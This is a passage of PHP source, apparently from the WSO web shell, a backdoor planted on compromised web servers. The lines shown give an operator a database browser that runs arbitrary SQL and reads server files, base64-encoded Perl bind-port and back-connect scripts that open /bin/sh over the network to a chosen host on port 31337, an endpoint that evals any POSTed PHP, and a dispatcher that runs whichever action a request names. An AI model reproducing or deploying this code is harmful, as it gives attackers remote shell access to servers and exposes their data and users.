1394 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1395 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1396 }
1397 </script>";
1398 if(isset($db) && $db->link){
1399 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1400 if(!empty($_POST['sql_base'])){
1401 $db->selectdb($_POST['sql_base']);
1402 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1403 $tbls_res = $db->listTables();
1404 while($item = $db->fetch($tbls_res)) {
1405 list($key, $value) = each($item);
1406 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1407 $value = htmlspecialchars($value);
1408 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1409 }
1410 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1411 if(@$_POST['p1'] == 'select') {
1412 $_POST['p1'] = 'query';
1413 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1414 $num = $db->fetch();
1415 $num = $num['n'];
1416 echo "<span>".$_POST['p2']."</span> ($num) ";
1417 for($i=0;$i<($num/30);$i++)
1418 if($i != (int)$_POST['p3'])
1419 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1420 else
1421 echo ($i+1)," ";
1422 if($_POST['type']=='pgsql')
1423 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1424 else
1425 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1426 echo "<br><br>";
1427 }
1428 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1429 $db->query(@$_POST['p3']);
1430 if($db->res !== false) {
1431 $title = false;
1432 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1433 $line = 1;
1434 while($item = $db->fetch()) {
1435 if(!$title) {
1436 echo '<tr>';
1437 foreach($item as $key => $value)
1438 echo '<th>'.$key.'</th>';
1439 reset($item);
1440 $title=true;
1441 echo '</tr><tr>';
1442 $line = 2;
1443 }
1444 echo '<tr class="l'.$line.'">';
1445 $line = $line==1?2:1;
1446 foreach($item as $key => $value) {
1447 if($value == null)
1448 echo '<td><i>null</i></td>';
1449 else
1450 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1451 }
1452 echo '</tr>';
1453 }
1454 echo '</table>';
1455 } else {
1456 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1457 }
1458 }
1459 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1460 echo "</td></tr>";
1461 }
1462 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1463 if(@$_POST['p1'] == 'loadfile') {
1464 $file = $db->loadFile($_POST['p2']);
1465 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1466 }
1467 }
1468 echo '</div>';
1469 wsoFooter();
1470}
1471function actionNetwork() {
1472 wsoHeader();
1473 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1474 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1475 echo "<h1>Network tools</h1><div class=content>
1476 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1477 <span>Bind port to /bin/sh [perl]</span><br/>
1478 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1479 </form>
1480 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1481 <span>Back-connect [perl]</span><br/>
1482 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1483 </form><br>";
1484 if(isset($_POST['p1'])) {
1485 function cf($f,$t) {
1486 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1487 if($w) {
1488 @fwrite($w,@base64_decode($t));
1489 @fclose($w);
1490 }
1491 }
1492 if($_POST['p1'] == 'bpp') {
1493 cf("/tmp/bp.pl",$bind_port_p);
1494 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1495 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1496 }
1497 if($_POST['p1'] == 'bcp') {
1498 cf("/tmp/bc.pl",$back_connect_p);
1499 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1500 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1501 }
1502 }
1503 echo '</div>';
1504 wsoFooter();
1505}
1506function actionRC() {
1507 if(!@$_POST['p1']) {
1508 $a = array(
1509 "uname" => php_uname(),
1510 "php_version" => phpversion(),
1511 "wso_version" => VERSION,
1512 "safemode" => @ini_get('safe_mode')
1513 );
1514 echo serialize($a);
1515 } else {
1516 eval($_POST['p1']);
1517 }
1518}
1519if( empty($_POST['a']) )
1520 if(isset($default_action) && function_exists('action' . $default_action))
1521 $_POST['a'] = $default_action;
1522 else
1523 $_POST['a'] = 'SecInfo';
1524if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1525 call_user_func('action' . $_POST['a']);
1526exit;
1527?>